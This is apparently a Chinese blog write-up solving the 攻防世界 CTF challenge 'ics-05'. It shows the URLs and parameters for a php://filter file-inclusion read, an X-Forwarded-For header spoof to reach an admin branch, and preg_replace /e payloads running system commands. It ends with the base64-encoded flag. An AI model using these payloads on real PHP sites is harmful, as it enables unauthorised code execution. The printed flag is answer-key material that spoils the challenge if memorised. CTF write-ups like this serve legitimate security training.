攻防世界 ics-05 write up

访问,由于提示说是后台,所以访问index.php/my-webshell(路径任意)  发现是文件包含页面

 

http://111.198.29.45:42305/index.php/dsf?page=php://filter/read=convert.base64-encode/resource=index.php

base64decode


重点:
if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {

    echo "<br >Welcome My Admin ! <br >";

    $pattern = $_GET[pat];
    $replacement = $_GET[rep];
    $subject = $_GET[sub];

    if (isset($pattern) && isset($replacement) && isset($subject)) {
        preg_replace($pattern, $replacement, $subject);
    }else{
        die();
    }

}

 

根据上面函数

在头文件中添加

X-Forwarded-For:127.0.0.1

搜索preg_replace()任意php执行漏洞

构造利用值
pat=/test/e&rep=phpinfo()&sub=jutst%20test


物理路径/var/www/html

pat=/test/e&rep=任意PHP语句&sub=jutst%20test


pat=/test/e&rep=system("ls")&sub=jutst%20test

目录如下
index.html
index.php
js
layui
logo.png
s3chahahaDir
start.sh
视图.png

由于 system("")有空格报错 

经查询得  

 

用+或者%20替代空格   并且&为%26替换


命令system("cd+s3chahahaDir%26%26+ls")  得到下一个文件目录为flag

命令system("cd+s3chahahaDir/flag%26%26+ls")  得到flag.php

由于是php文件 于是用伪协议读取flag.php内容 (如果是txt直接路径访问)
http://111.198.29.45:42305/index.php/?page=php://filter/read=convert.base64-encode/resource=s3chahahaDir/flag/flag.php


PD9waHAKCiRmbGFnID0gJ2N5YmVycGVhY2V7ZDRkNmRiMjY4ZGU0YzhjZTU0ZDQxNTFiYTU0NjFkNWV9JzsKCj8+Cg==

base64解密得flag






posted @ 2019-09-20 00:59  Zhu013  阅读(245)  评论(0编辑  收藏  举报